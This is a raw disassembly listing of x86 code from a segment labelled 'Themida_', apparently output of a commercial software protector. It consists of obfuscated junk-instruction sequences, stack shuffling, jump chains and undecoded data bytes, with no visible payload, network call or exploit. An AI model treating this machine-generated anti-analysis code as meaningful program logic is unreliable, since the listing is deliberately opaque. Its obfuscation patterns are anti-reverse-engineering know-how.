		sub	edi, 338A7BC4h
		mov	ebp, [esp]
		add	esp, 4
		push	2468h
		mov	[esp], edi
		push	dword ptr [esp+4]
		pop	edi
		pop	dword ptr [esp]
		mov	esp, [esp]
		mov	[esp], cx
		jmp	loc_51994B
; ---------------------------------------------------------------------------
		dw 0EF81h
		dd 1FD476E7h, 0BE56D701h, 3D7B2B03h, 1396EE9h, 0F7D3F700h
		dd 0E9DBF7DBh, 1277Ah, 0D8003DB3h, 15E95B66h
		db 0C4h, 2 dup(0)
; ---------------------------------------------------------------------------

loc_5113A3:				; CODE XREF: Themida_:0051D393j
		neg	edx
		jmp	loc_512C6C
; ---------------------------------------------------------------------------

loc_5113AA:				; CODE XREF: Themida_:00523238j
		push	ebx
		push	dword ptr [esp]
		pop	edi
		add	esp, 4
		push	edi
		jmp	loc_5114F5
; ---------------------------------------------------------------------------
		dd 33241431h, 895C2414h, 4BD242Ch, 29000000h, 242C8BEAh
		dd 5CB3E951h
		db 2 dup(0)
; ---------------------------------------------------------------------------

loc_5113D2:				; CODE XREF: Themida_:00523353j
		shl	ecx, 5
		sub	ecx, 51C92CFFh
		push	esi
		mov	esi, ecx
		mov	[ebx], esi
		pop	esi
		mov	ecx, [esp]
		add	esp, 4
		jmp	loc_51C18A
; ---------------------------------------------------------------------------
		dd offset loc_418766+2
		align 4
		dd 0C659E9h
		db 0
; ---------------------------------------------------------------------------

loc_5113F9:				; CODE XREF: Themida_:00524749j
		jmp	loc_50F70C
; ---------------------------------------------------------------------------
		dw 1C87h
		dd 24248B24h, 83241489h, 0E95404ECh, 7A3Fh, 582434FFh
		dd 1E75E951h, 3C890000h, 89EF8924h, 243C8BFAh, 9F68E9h
		dd 88EF8800h, 5A595BF8h, 8621E9h
		db 0
; ---------------------------------------------------------------------------

loc_511435:				; CODE XREF: Themida_:005216F1j
		push	dword ptr [esp]
		mov	eax, [esp]
		add	esp, 4
		add	esp, 4
		pop	dword ptr [esp]
		jmp	loc_522907
; ---------------------------------------------------------------------------

loc_51144C:				; CODE XREF: Themida_:005107F4j
		push	dword ptr [esp]
		jmp	loc_50FDC4
; ---------------------------------------------------------------------------

loc_511454:				; CODE XREF: Themida_:0051B645j
		sub	bl, ah
		jmp	loc_5217BA
; ---------------------------------------------------------------------------
		db 5Ah
		dd 0FFC3805Ah, 4AAC380h, 0B753663Ch, 0E9F800F0h, 9F72h
		dd 4240483h, 1593E9h
		db 0
; ---------------------------------------------------------------------------

loc_511479:				; CODE XREF: Themida_:00519B96j
		pop	ecx
		add	ebp, esi
		mov	esi, [esp]
		add	esp, 4
		jmp	loc_51DC8B
; ---------------------------------------------------------------------------
		db 66h
		dd 8966DF89h, 89665FF9h, 8B6659CEh, 8951241Ch, 4C181E1h
		dd 81000000h, 2C1h, 46F0E900h, 0C890000h, 81595424h, 4C1h
		dd 4C18300h, 5C240C87h,	3B6668h, 24148900h, 4BAh, 1AEE8100h
		dd 8108456Eh, 9C22CFEEh, 81D60140h, 9C22CFC6h, 1AC68140h
		dd 5A08456Eh, 4EC81h, 19E90000h, 57000079h, 91F3E9h
		db 0
; ---------------------------------------------------------------------------

loc_5114F5:				; CODE XREF: Themida_:005113B3j
		push	edx
		push	28DC1358h
		pop	edx
		xor	[esp+4], edx
		push	dword ptr [esp]
		pop	edx
		jmp	loc_51C663
; ---------------------------------------------------------------------------

loc_511509:				; CODE XREF: Themida_:005154E8j
		push	edx
		mov	dl, 8
		xor	dl, 5Eh
		add	dl, 0CEh
		jmp	loc_513512
; ---------------------------------------------------------------------------
		db 68h
		dd 61C8h, 0E9243489h, 91DCh, 24048B66h,	81E78957h, 4C7h
		dd 4EC8300h, 0E9242C89h, 0FC05h, 81242C8Bh, 4C4h, 74FF5600h
		dd 3DE90424h, 5B000139h, 8B24048Fh, 4892424h, 0C6E95424h
		db 12h,	2 dup(0)
; ---------------------------------------------------------------------------

loc_51155F:				; CODE XREF: Themida_:005173BDj
		pop	ebp
		add	esp, 4
		add	ebp, 9426F25Bh
		add	eax, 35CF0826h
		add	eax, ebp
		sub	eax, 35CF0826h
		pop	ebp
		jmp	loc_5216EC
; ---------------------------------------------------------------------------
		db 53h
		dd 466C9EBBh, 5BD88975h, 8958C231h, 24148BD6h, 0ED64E956h
		dd 0E951FFFFh, 1CB9h
; ---------------------------------------------------------------------------

loc_511598:				; CODE XREF: Themida_:0051C0B6j
		push	ecx
		mov	ecx, 4
		sub	ebx, 0F3605B3h
		add	ebx, ecx
		add	ebx, 0F3605B3h
		pop	ecx
		add	ebx, 4
		sub	esp, 4
		mov	[esp], ebx
		push	dword ptr [esp+4]
		jmp	loc_51F175
; ---------------------------------------------------------------------------
a_hp		db '_hP ',0
		align 4
		dd 0BF243C89h, 0DD23640h, 13B0F781h, 0FE0117FAh, 1BCCE95Fh
		dd 1C8B0000h, 4C48124h,	52000000h, 0C281E289h, 4, 8704EA83h
		dd 0E95C2414h, 0A4A1h, 0E981D901h, 446C17A3h, 240C875Bh
		dd 94C6E9h, 24343300h, 33243431h, 248B2434h, 66F9F624h
		dd 0E9CCB60Fh, 7A73h, 4C481h, 0E0E90000h, 5A00011Dh
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		add	ebp, 4
		push	ebp
		push	dword ptr [esp+4]
		pop	ebp
		pop	dword ptr [esp]
		pop	esp
		push	46ECh
		mov	[esp], ebx
		mov	ebx, 13DD349h
		add	eax, ebx
		push	dword ptr [esp]
		mov	ebx, [esp]
		push	eax
		mov	eax, esp
		push	edi
		mov	edi, 51C85CB2h
		neg	edi
		inc	edi
		neg	edi
		jmp	loc_518853
; ---------------------------------------------------------------------------

loc_51166E:				; CODE XREF: Themida_:0051E2FCj
		shl	cl, 7
		shr	cl, 1
		shr	cl, 2
		sub	cl, 5Bh
		xor	cl, 90h
		neg	cl
		jmp	loc_519669
; ---------------------------------------------------------------------------
		db 8Fh
		dd 4812404h, 424h, 0D7685E00h, 8900001Fh, 4BF243Ch, 0E9000000h
		dd 536Dh, 24148966h, 0EE80B1B6h, 485AE9E8h, 0EE810000h
		dd 0FFFFFFFFh, 432B951h, 0E9814BF7h, 0D976A6DDh, 4AE9CE31h
		dd 83000043h, 148904ECh, 3819E924h, 0C7810001h,	4, 4EF81h
		dd 3C870000h, 59E95C24h, 8900006Ch, 5FF989DFh, 53D9F75Bh
		dd 9D2A97BBh, 5BD9212Fh, 5D545550h, 3E9CE9h
		db 0
; ---------------------------------------------------------------------------

loc_511701:				; CODE XREF: Themida_:00512694j
		sub	eax, ebx
		pop	ebx
		xor	eax, [esp]
		xor	[esp], eax
		jmp	loc_51E132
; ---------------------------------------------------------------------------

loc_51170F:				; CODE XREF: Themida_:0051C719j
		mov	[esp], ebx
		jmp	loc_51E8E6
; ---------------------------------------------------------------------------

loc_511717:				; CODE XREF: Themida_:00520722j
		mov	ebx, esp
		add	ebx, 4
		sub	ebx, 4
		push	5358h
		jmp	loc_51F360
; ---------------------------------------------------------------------------
		db 28h
		dd 17ED80D5h, 5A88C580h, 0F6A5E580h, 0F82DE9D5h
		db 2 dup(0)
; ---------------------------------------------------------------------------

loc_511742:				; CODE XREF: Themida_:0051D4A7j
		mov	[esp], eax
		push	dword ptr [esp+4]
		jmp	loc_5193A2
; ---------------------------------------------------------------------------
		dw 515Ch
		dd 0C181E189h, 4, 8704E983h, 0DEE9240Ch, 0BDh, 148B66D0h
		dd 2C48324h, 0A4E6E9h
		db 0
; ---------------------------------------------------------------------------

loc_511771:				; CODE XREF: Themida_:0050FFB7j
		mov	[esp], ecx
		mov	cl, 7Ah
		add	cl, 21h
		jmp	loc_51EA69
; ---------------------------------------------------------------------------
		dw 0B868h
		dd 0E900001Ah, 12A83h, 0FFDF7FE9h, 0C3815FFFh, 33A83FA6h
		dd 0E79C381h, 0C3013395h, 0E79EB81h, 10E93395h,	5000007Fh
		dd 0EC1E9h, 45D5F700h, 7E4CC581h, 0EF896A3Ch, 7FC1E95Dh
		db 2 dup(0)
; ---------------------------------------------------------------------------

loc_5117BE:				; CODE XREF: Themida_:005130E5j
		mov	ch, al
		mov	al, [esp+2]
		mov	[esp+2], ch
		mov	cx, [esp]
		add	esp, 2
		jmp	loc_524E69
; ---------------------------------------------------------------------------
		db 80h
		dd 0D30077EAh, 80E3005Ah, 8B66D9EBh, 0C4812404h, 2, 0FFC0B60Fh
		dd 0E9558734h, 27BFh
; ---------------------------------------------------------------------------

loc_5117F8:				; CODE XREF: Themida_:00518AE7j
		pop	esp
		jmp	loc_51A752
; ---------------------------------------------------------------------------

loc_5117FE:				; CODE XREF: Themida_:00511E8Aj
		push	4FFCh
		mov	[esp], edx
		mov	edx, 109226C0h
		xor	edx, 9FAD150h
		add	edi, edx
		pop	edx
		or	edi, 4C2A57AEh
		xor	edi, 3D0F1D01h
		xchg	eax, edi
		push	eax
		not	dword ptr [esp]
		pop	eax
		xchg	eax, edi
		xor	edi, 0DFFC89EFh
		and	esi, edi
		pop	edi
		push	ecx
		mov	ecx, 5E145706h
		sub	esp, 4
		mov	[esp], ebp
		mov	ebp, 6DC15834h
		jmp	loc_5243CD
; ---------------------------------------------------------------------------

loc_511846:				; CODE XREF: Themida_:0051439Cj
		mov	eax, esp
		add	eax, 4
		add	eax, 4
		xchg	eax, [esp]
		pop	esp
		sub	eax, 0D67AEF09h
		sub	ecx, 34EE7176h
		sub	ecx, eax
		add	ecx, 34EE7176h
		push	dword ptr [esp]
		jmp	loc_5180E2
; ---------------------------------------------------------------------------
		db 8Bh
		dd 0C483241Ch, 2AE95704h, 56FFFFF8h, 1197AE9h
		db 0
; ---------------------------------------------------------------------------

loc_511881:				; CODE XREF: Themida_:0051B2F3j
		sub	esp, 4
		mov	[esp], esi
		mov	esi, esp
		add	esi, 4
		add	esi, 2
		xchg	esi, [esp]
		pop	esp
		push	eax
		mov	ah, 73h
		jmp	loc_5211EB
; ---------------------------------------------------------------------------
		dw 0BF57h
		dd 1C054EE2h, 0E9FA8952h, 91FFh, 62BF575Dh, 81346267h
		dd 62675EEFh, 0E9FE0134h, 7D98h, 8B24048Fh, 0D0682424h
		dd 89000008h, 0BEE92414h, 5CFFFFF4h, 6CD0E9h
		db 0
; ---------------------------------------------------------------------------

loc_5118D9:				; CODE XREF: Themida_:00520CB5j
		mov	[esp], ebp
		jmp	loc_51C520
; ---------------------------------------------------------------------------
		db 0FFh, 32h, 0E9h
		dd 37BAh
; ---------------------------------------------------------------------------

loc_5118E8:				; CODE XREF: Themida_:00512018j
		pop	ecx
		pop	esi
		jmp	loc_524080
; ---------------------------------------------------------------------------

loc_5118EF:				; CODE XREF: Themida_:0051BEF0j
		inc	eax
		neg	eax
		jmp	loc_50FC6B
; ---------------------------------------------------------------------------
		db 35h
		dd 59F3787Ch, 8358C301h, 1C8704EBh, 3630E924h, 0EC810000h
		dd 4, 0B1240C89h, 346DE9C2h, 0ABD0000h,	8962F972h, 98A1E9EFh
		dd 0BE560000h, 0C171C57h, 0EE814E4Eh, 63895BFCh, 0C055BA52h
		dd 0D629A88Dh, 34E9E95Ah
		db 2 dup(0)
; ---------------------------------------------------------------------------

loc_511942:				; CODE XREF: Themida_:0051769Fj
		pop	esi
		jmp	loc_51B6F5
; ---------------------------------------------------------------------------
		dd 405h, 2E88300h, 2474FF50h, 48F5804h,	59E95C24h
		db 2 dup(1), 0
; ---------------------------------------------------------------------------

loc_51195F:				; CODE XREF: Themida_:005201A8j
		add	eax, 4
		push	437Eh
		mov	[esp], esi
		push	4
		pop	esi
		push	edi
		mov	edi, 73A816D0h
		neg	edi
		xor	edi, 8439E1ACh
		jmp	loc_5156DB
; ---------------------------------------------------------------------------
		db 1, 0FAh, 5Fh
		dd 7309E9h, 7234BF00h, 0DF310BDAh, 0D7F7475Bh, 0A4EBE9h
		dd 0D9CD8000h, 0DDF6D5F6h, 0E9D7ED80h, 0C4D6h
; ---------------------------------------------------------------------------

loc_5119AC:				; CODE XREF: Themida_:00520403j
		sub	ebx, 46803335h
		and	ebx, 7F5E12A4h
		jmp	loc_5185C6
; ---------------------------------------------------------------------------
		db 81h,	0C4h, 4
		dd 0F7000000h, 0EC8395D0h, 241C8904h, 0FFE994E9h, 0BFBE56FFh
		dd 812F1B34h, 0E4CB45C6h, 8BF201D0h, 0C4832434h, 74FF5204h
		dd 148B0424h, 4C48124h,	8F000000h, 248B2404h, 68E1F724h
		dd 58C5h, 4D7E9h
		db 0
; ---------------------------------------------------------------------------

loc_511A05:				; CODE XREF: Themida_:00524EC5j
		push	esi
		mov	esi, 0BAF1D7Dh
		dec	esi
		xchg	ebp, esi
		not	ebp
		jmp	loc_517133
; ---------------------------------------------------------------------------
		db 0B4h, 49h, 0C0h
		dd 0C48004ECh, 0A8EC80F3h, 0EAE9E288h, 81FFFFEFh, 4ECh
		dd 208AE900h
		db 1, 0
; ---------------------------------------------------------------------------

loc_511A32:				; CODE XREF: Themida_:00515A43j
		pop	dword ptr [esp]
		pop	esp
		jmp	loc_513316
; ---------------------------------------------------------------------------
		db 81h
		dd 1C2h, 50EAD100h, 80C5E9h, 2C18100h, 51000000h, 42474FFh
		dd 81240C8Bh, 4C4h, 24048F00h, 0D324248Bh, 0E99C2424h
		dd 0FFFFDCA0h, 762BD4BEh, 8E4E926h
		db 2 dup(0)
; ---------------------------------------------------------------------------

loc_511A76:				; CODE XREF: Themida_:00519E61j
		sub	esp, 4
		jmp	loc_51CC39
; ---------------------------------------------------------------------------
		dw 0EC83h
		dd 0F220E904h, 81510000h, 4ECh,	24048900h, 0BC7495B8h
		dd 589B250Ah, 10503F0h,	2D000000h, 0B3BD19B6h, 8E9C189h
		dd 20000106h, 0E99C2404h, 0FFFFDC58h
; ---------------------------------------------------------------------------

loc_511AB4:				; CODE XREF: Themida_:00515BA9j
		add	dh, 0FFh
		jmp	loc_52275C
; ---------------------------------------------------------------------------
		dd 0B8240489h, 2, 8A05E9h, 24248B00h, 0E9240C89h, 6281h
		dd 0D187D2F7h, 68FEBB53h, 54E95FF8h, 89000023h,	87E9241Ch
		db 0B3h, 2 dup(0)
; ---------------------------------------------------------------------------

loc_511AEB:				; CODE XREF: Themida_:005130DEj
		pop	eax
		jmp	loc_51EFF2
; ---------------------------------------------------------------------------
		db 5Ch,	0E9h, 0B4h
		dd 55FFFFFFh, 5D2414F7h, 5107E5C1h, 59C6855h, 815D5412h
		dd 9A4699CDh, 8AC58113h, 0E9DE1434h, 0D551h
; ---------------------------------------------------------------------------

loc_511B18:				; CODE XREF: Themida_:00513692j
		shr	eax, 2
		sub	esp, 4
		mov	[esp], ebp
		mov	ebp, 30A52F5Dh
		add	eax, ebp
		pop	ebp
		push	eax
		pop	ebp
		push	dword ptr [esp]
		pop	eax
		push	edi
		push	6F5Fh
		mov	[esp], esp
		add	dword ptr [esp], 4
		mov	edi, [esp]
		jmp	loc_517DBC
; ---------------------------------------------------------------------------

loc_511B44:				; CODE XREF: Themida_:0052063Bj
		sub	eax, 44C6BE58h
		mov	edi, 0D6B78B3h
		xor	edi, eax
		mov	eax, [esp]
		push	edi
		mov	edi, esp
		push	ebp
		mov	ebp, 10939A3h
		shr	ebp, 3
		and	ebp, 6A2B3899h
		jmp	loc_51A836
; ---------------------------------------------------------------------------
		dw 0C481h
		dd 4, 8ECE9h, 0E9E38900h, 9831h, 69FB68h, 30E95400h
		db 26h,	1, 0
; ---------------------------------------------------------------------------

loc_511B87:				; CODE XREF: Themida_:00520812j
		mov	[esp], esp
		add	dword ptr [esp], 4
		pop	edx
		jmp	loc_51FCCB
; ---------------------------------------------------------------------------
		dd 241C875Dh, 0E689565Ch, 4C681h, 0C6830000h, 24348704h
		dd 815EE9h
		db 0
; ---------------------------------------------------------------------------

loc_511BAD:				; CODE XREF: Themida_:0051E963j
		and	eax, 692D448Ch
		xor	eax, 7A71518Dh
		add	eax, 0F053A9FFh
		add	ebp, eax
		jmp	loc_516D60
; ---------------------------------------------------------------------------

loc_511BC3:				; CODE XREF: Themida_:005171CFj
		mov	edi, esp
		push	ebx
		push	edi
		mov	edi, 77237E35h
		or	edi, 74C907C3h
		push	edi
		jmp	loc_51C7BA
; ---------------------------------------------------------------------------

loc_511BD8:				; CODE XREF: Themida_:0051594Dj
		xor	edx, ecx
		pop	ecx
		xor	edx, 19DBF00Dh
		add	edi, edx
		mov	edx, [esp]
		sub	esp, 4
		mov	[esp], esi
		mov	esi, esp
		push	ebp
		mov	ebp, 4
		add	esi, ebp
		jmp	loc_5220CE
; ---------------------------------------------------------------------------

loc_511BFE:				; CODE XREF: Themida_:00521ED8j
		sub	esp, 4
		mov	[esp], esp
		add	dword ptr [esp], 4
		push	dword ptr [esp]
		pop	ecx
		add	esp, 4
		push	10D9h
		mov	[esp], ebx
		mov	ebx, 4
		add	ecx, ebx
		pop	ebx
		push	esi
		mov	esi, 7CB400F2h
		add	esi, 7ED5224Ch
		jmp	loc_51A9D6
; ---------------------------------------------------------------------------
		db 8Bh
		dd 0C481241Ch, 4, 40E8E9h, 24148B00h, 0D04C483h, 50326EBAh
		dd 82D1E992h, 815C0000h, 4C4h, 0E7895700h, 4C781h, 0C7810000h
		dd 4, 5C243C87h, 9C240429h, 1574E9h
		db 0
; ---------------------------------------------------------------------------

loc_511C75:				; CODE XREF: Themida_:00519974j
		shr	edx, 1
		cmp	eax, edx
		jz	loc_520A1C
		mov	dword ptr [edi+20h], 614330BAh
		push	ecx
		mov	ecx, 20h
		sub	ecx, 1BCD471Bh
		jmp	loc_519734
; ---------------------------------------------------------------------------
		db 5
		dd 4, 0FFFDE5E9h, 38ABBDFFh, 0A4E95DE9h
		db 36h,	2 dup(0)
; ---------------------------------------------------------------------------

loc_511CAB:				; CODE XREF: Themida_:0051CBBDj
		push	dword ptr [esp+4]
		push	dword ptr [esp]
		pop	eax
		push	edx
		mov	edx, esp
		add	edx, 4
		add	edx, 4
		xchg	edx, [esp]
		jmp	loc_523A96
; ---------------------------------------------------------------------------

loc_511CCA:				; CODE XREF: Themida_:0051436Bj
		sub	edx, 1836B181h
		jmp	loc_51F4C5
; ---------------------------------------------------------------------------
		db 81h,	0C4h, 4
		dd 81000000h, 28581DEBh, 0E198E95Bh
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_511CE6:				; CODE XREF: Themida_:0051A72Ej
		xchg	ebp, [esp]
		jmp	loc_523311
; ---------------------------------------------------------------------------

loc_511CEE:				; CODE XREF: Themida_:005186C9j
		sub	esi, edi
		add	esi, 584D19EEh
		mov	edi, [esp]
		jmp	loc_519029
; ---------------------------------------------------------------------------

loc_511CFE:				; CODE XREF: Themida_:005223B5j
		add	ecx, eax
		mov	eax, [esp]
		add	esp, 4
		push	44BDh
		mov	[esp], edi
		jmp	loc_517A41
; ---------------------------------------------------------------------------

loc_511D16:				; CODE XREF: Themida_:005158B6j
		push	ebx
		mov	ebx, 4
		jmp	loc_5177D9
; ---------------------------------------------------------------------------

loc_511D21:				; CODE XREF: Themida_:0051447Aj
		mov	ebx, 24h
		sub	ebx, 73455D8h
		add	ebx, edi
		add	ebx, 73455D8h
		push	dword ptr [ebx]
		push	dword ptr [esp]
		mov	ecx, [esp]
		add	esp, 4
		push	ecx
		mov	ecx, esp
		add	ecx, 4
		add	ecx, 4
		push	7E06h
		mov	[esp], ecx
		push	dword ptr [esp+4]
		mov	ecx, [esp]
		push	esi
		mov	esi, esp
		add	esi, 4
		jmp	loc_5138F7
; ---------------------------------------------------------------------------

loc_511D6E:				; CODE XREF: Themida_:005243DCj
		mov	ecx, 3E0568Fh
		sub	esi, ecx
		jmp	loc_519BF5
; ---------------------------------------------------------------------------

loc_511D7A:				; CODE XREF: Themida_:0051FFB0j
		sub	ebp, 0A4E375Bh
		mov	edx, [esp]
		push	esi
		mov	esi, esp
		add	esi, 4
		add	esi, 4
		xchg	esi, [esp]
		jmp	loc_51F1D9
; ---------------------------------------------------------------------------
		dw 0C89h
		dd 0C7885324h, 505BFD88h, 0E288EC88h, 0C63AE958h
		db 2 dup(0)
; ---------------------------------------------------------------------------

loc_511DAE:				; CODE XREF: Themida_:0051EBBDj
		pop	eax
		pop	ebp
		push	edi
		mov	edi, 4
		sub	ebp, 0FA56185h
		jmp	loc_51A671
; ---------------------------------------------------------------------------
		db 5Fh,	81h, 0E5h
		dd 496C7175h, 2ADC581h,	814D0468h, 3BCC59C5h, 0E9EF891Dh
		dd 0A540h, 5585450h, 4,	405h, 3C67E900h, 0E9550000h, 89D4h
		dd 5C240C87h, 0E9241487h, 0C671h
; ---------------------------------------------------------------------------

loc_511E00:				; CODE XREF: Themida_:00519678j
		pop	dword ptr [esp]
		jmp	loc_51D897
; ---------------------------------------------------------------------------
		dd 5624248Bh, 10601E9h,	240C8B00h
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		add	ebp, 4
		xchg	ebp, [esp]
		pop	esp
		add	bx, dx
		pop	edx
		jmp	loc_51B4C2
; ---------------------------------------------------------------------------

loc_511E30:				; CODE XREF: Themida_:00522B5Bj
		xor	eax, ebx
		pop	ebx
		add	edi, eax
		mov	eax, [esp]
		add	esp, 4
		add	edi, 29B17FBDh
		inc	edi
		sub	esp, 4
		mov	[esp], eax
		jmp	loc_51213B
; ---------------------------------------------------------------------------

loc_511E50:				; CODE XREF: Themida_:0051E3ACj
		jmp	loc_50F70C
; ---------------------------------------------------------------------------

loc_511E55:				; CODE XREF: Themida_:0051BB11j
		push	dword ptr [esp]
		pop	ecx
		add	esp, 4
		movzx	eax, al
		jmp	loc_515276
; ---------------------------------------------------------------------------
		dd 0E924048Fh, 9E94h
; ---------------------------------------------------------------------------

loc_511E6C:				; CODE XREF: Themida_:0051A593j
		sub	edx, 43BE7D4Dh
		sub	edx, ecx
		add	edx, 43BE7D4Dh
		pop	ecx
		mov	ecx, edx
		jmp	loc_5120C1
; ---------------------------------------------------------------------------

loc_511E82:				; CODE XREF: Themida_:00514179j
		xor	edi, edx
		pop	edx
		shl	edi, 4
		not	edi
		jmp	loc_5117FE
; ---------------------------------------------------------------------------
		db 35h
		dd 72A90CB5h, 7742C781h, 0C7016A77h, 7742EF81h,	48B6A77h
		dd 457DE924h, 0E7890000h, 4C781h, 0EF830000h, 74FF5704h
		dd 8F5F0424h, 895C2404h, 13BF243Ch, 6843BD26h, 2D99h, 0E9242C89h
		dd 0D6A8h, 0E95EF529h, 4967h, 50241489h, 0D826E99Ch, 0EE89FFFFh
		dd 0CAE8E9h
		db 0
; ---------------------------------------------------------------------------

loc_511EED:				; CODE XREF: Themida_:0051B83Dj
		xor	edx, 8EE2FBDh
		add	eax, edx
		pop	edx
		add	eax, edi
		push	ebp
		jmp	loc_512EA2
; ---------------------------------------------------------------------------
		dw 4BFh
		dd 5000000h, 0FE71764h,	642DF801h, 8B0FE717h, 0C483243Ch
		dd 823E904h
		db 1, 0
; ---------------------------------------------------------------------------

loc_511F1A:				; CODE XREF: Themida_:00518BB6j
		mov	[esp], edx
		mov	edx, 6D144977h
		sub	ecx, edx
		mov	edx, [esp]
		jmp	loc_51929A
; ---------------------------------------------------------------------------
		dd 4C181h, 0C1830000h, 240C8704h, 25F5815Ch, 56518B15h
		dd 0F389EE89h, 34FF5D5Eh, 240C8B24h, 565B5453h,	5D555FBEh
		dd 0C90CE90Ah, 0DBB30000h, 244BB050h, 0B51DE974h, 0EA800000h
		dd 6E2C035h, 0B7368h, 3FE4E900h, 515D0000h, 294A5CB9h
		dd 244C2956h, 240C8B08h, 4C481h, 32E90000h, 5E000030h
		dd 5084E9h, 4C48300h, 0E958C689h, 0A1D5h, 3EBBEB81h, 0CB015EB0h
		dd 3EBBC381h, 0B6E95EB0h
		db 3Bh,	2 dup(0)
; ---------------------------------------------------------------------------

loc_511FB3:				; CODE XREF: Themida_:0050F9C1j
		mov	[esp], esi
		jmp	loc_513520
; ---------------------------------------------------------------------------

loc_511FBB:				; CODE XREF: Themida_:0052333Aj
		jmp	loc_50F70C
; ---------------------------------------------------------------------------
		dd 36E9FD01h
		db 0D3h, 2 dup(0)
; ---------------------------------------------------------------------------

loc_511FC7:				; CODE XREF: Themida_:005170BCj
		mov	[esp], ecx
		mov	ecx, 11FA2A89h
		dec	ecx
		add	ecx, 0FFFFFFFFh
		not	ecx
		push	edi
		mov	edi, 0FFFFFFFFh
		sub	ecx, 7E4A00DEh
		add	ecx, edi
		add	ecx, 7E4A00DEh
		pop	edi
		push	edi
		mov	edi, 2D9B16DCh
		push	7B70h
		mov	[esp], edx
		mov	edx, 4B766D12h
		jmp	loc_521B7F
; ---------------------------------------------------------------------------

loc_512005:				; CODE XREF: Themida_:005108A3j
		mov	[esp], esi
		sub	esp, 4
		mov	[esp], esp
		push	ecx
		mov	ecx, 4
		add	[esp+4], ecx
		jmp	loc_5118E8
; ---------------------------------------------------------------------------
		db 68h,	2Ch, 31h
		dd 30E90000h
		db 18h,	2 dup(0)
; ---------------------------------------------------------------------------

loc_512027:				; CODE XREF: Themida_:0051674Fj
		add	esp, 4
		push	28BCh
		mov	[esp], esi
		mov	esi, 0B8A0587h
		xor	esi, 18523296h
		shl	esi, 5
		xchg	ebp, esi
		dec	ebp
		xchg	ebp, esi
		push	0
		sub	[esp], esi
		pop	esi
		jmp	loc_51B7BF
; ---------------------------------------------------------------------------
		db 66h
		dd 1B1AE959h, 3C890000h, 7326BF24h, 7C29020Dh, 0DAE90424h
		db 43h,	2 dup(0)
; ---------------------------------------------------------------------------

loc_51206B:				; CODE XREF: Themida_:0051EA8Fj
		add	ebp, 78943E22h
		pop	eax
		push	ebx
		jmp	loc_5176CD
; ---------------------------------------------------------------------------
		dd 240C8B66h, 46DA68h, 241C8900h, 5FE9E389h, 0B800005Bh
		dd 410909E6h, 5658C589h, 0C681E689h, 4,	4EE81h,	34870000h
		dd 14895C24h, 10DEBA24h, 0F74A2837h, 0CFF52D2h,	0F2815A24h
		dd 29FA6049h, 1007AE9h
		db 0
; ---------------------------------------------------------------------------

loc_5120C1:				; CODE XREF: Themida_:00511E7Dj
		pop	edx
		add	ecx, 0FFF9DAD2h
		sub	eax, 796704D4h
		jmp	loc_514601
; ---------------------------------------------------------------------------
		dw 15Dh
		dd 0E904245Ch, 5383h, 80E9E389h, 510000A6h, 886D30B9h
		dd 5BC98116h, 816B5F18h, 0B21B82F1h, 47F8E968h,	80680000h
		dd 591A6B30h, 300BE9h
		db 0
; ---------------------------------------------------------------------------

loc_512105:				; CODE XREF: Themida_:00520842j
		sub	edx, 2310A84Fh
		sub	esi, 0C3C7398h
		push	ebx
		mov	ebx, 5C2C7D3Bh
		sub	esi, ebx
		pop	ebx
		add	esi, edx
		add	esi, 5C2C7D3Bh
		add	esi, 0C3C7398h
		pop	edx
		push	6310h
		jmp	loc_519CA5
; ---------------------------------------------------------------------------
		db 89h
		dd 91E952E3h
		db 1Dh,	2 dup(0)
; ---------------------------------------------------------------------------

loc_51213B:				; CODE XREF: Themida_:00511E4Bj
		mov	eax, 0D5B2358h
		sub	eax, 883F2103h
		add	edi, eax
		jmp	loc_51B865
; ---------------------------------------------------------------------------

loc_51214C:				; CODE XREF: Themida_:00515F4Ej
		push	ebp
		jmp	loc_51C1F6
; ---------------------------------------------------------------------------
		dw 34FFh
		dd 89575B24h, 4C781E7h,	81000000h, 4C7h, 243C8700h, 0A640E9h
		dd 0E9028F00h, 0FFFFD598h, 723582Dh, 24348B02h,	4C481h
		dd 57560000h, 237E0DBFh, 13F1E97Eh, 248B0000h, 24040824h
		dd 83A7E99Ch, 0E9570000h, 0C013h, 2E3C166h, 0AEF38166h
		dd 66536611h, 61243481h, 665A661Ah, 1A61F281h, 0E953665Bh
		dd 2E33h
; ---------------------------------------------------------------------------

loc_5121C0:				; CODE XREF: Themida_:005211FEj
		mov	ch, 0FDh
		jmp	loc_51AD56
; ---------------------------------------------------------------------------
		db 83h
		dd 48E904E8h, 0B20000AAh, 0E9D0007Bh, 93A2h
; ---------------------------------------------------------------------------

loc_5121D8:				; CODE XREF: Themida_:00517A60j
		mov	edx, 0E075D7Bh
		neg	edx
		and	edx, 2C1D6CAEh
		neg	edx
		add	edx, 31A33365h
		jmp	loc_5131EE
; ---------------------------------------------------------------------------
		dw 34FFh
		dd 0E59CE924h, 55BBFFFFh, 5507A95Fh, 9C1D09BDh,	0BEBF5763h
		dd 1A03E47h, 63CBE9FDh
		db 2 dup(0)
; ---------------------------------------------------------------------------

loc_512212:				; CODE XREF: Themida_:0051A6E3j
		push	eax
		push	dword ptr [esp+4]
		mov	eax, [esp]
		push	edi
		push	esp
		mov	edi, [esp]
		add	esp, 4
		add	edi, 4
		add	edi, 4
		jmp	loc_5147F6
; ---------------------------------------------------------------------------
		dw 0E3C1h
		dd 0FE38102h, 680CFD3Eh, 3014h,	0E9240C89h, 0E651h
; ---------------------------------------------------------------------------

loc_51224C:				; CODE XREF: Themida_:0051C07Fj
		add	ebp, 4
		xchg	ebp, [esp]
		pop	esp
		jmp	loc_51F7B7
; ---------------------------------------------------------------------------
		dd 4C381h, 1C870000h, 0FDE95C24h, 66000089h, 5224048Bh
		dd 0C281E289h, 4, 69BDE955h
		db 2 dup(0)
; ---------------------------------------------------------------------------

loc_51227A:				; CODE XREF: Themida_:00523727j
		mov	ebp, [esp]
		push	edi
		mov	edi, esp
		push	ebp
		mov	ebp, 0B4F0891h
		and	ebp, 35841C6h
		shr	ebp, 6
		sub	ebp, 6BA75C75h
		not	ebp
		or	ebp, 69396721h
		jmp	loc_512963
; ---------------------------------------------------------------------------
		dw 0BD2Dh
		dd 6840B979h, 1A99h, 68243C89h,	228Bh, 68242C89h, 62463DEAh
		dd 6855525Dh, 5FEC0073h, 5E88E9h, 0DFF75900h, 0E903EFC1h
		dd 0D636h, 2DE9FE09h, 1000109h,	0E1BEE9CAh
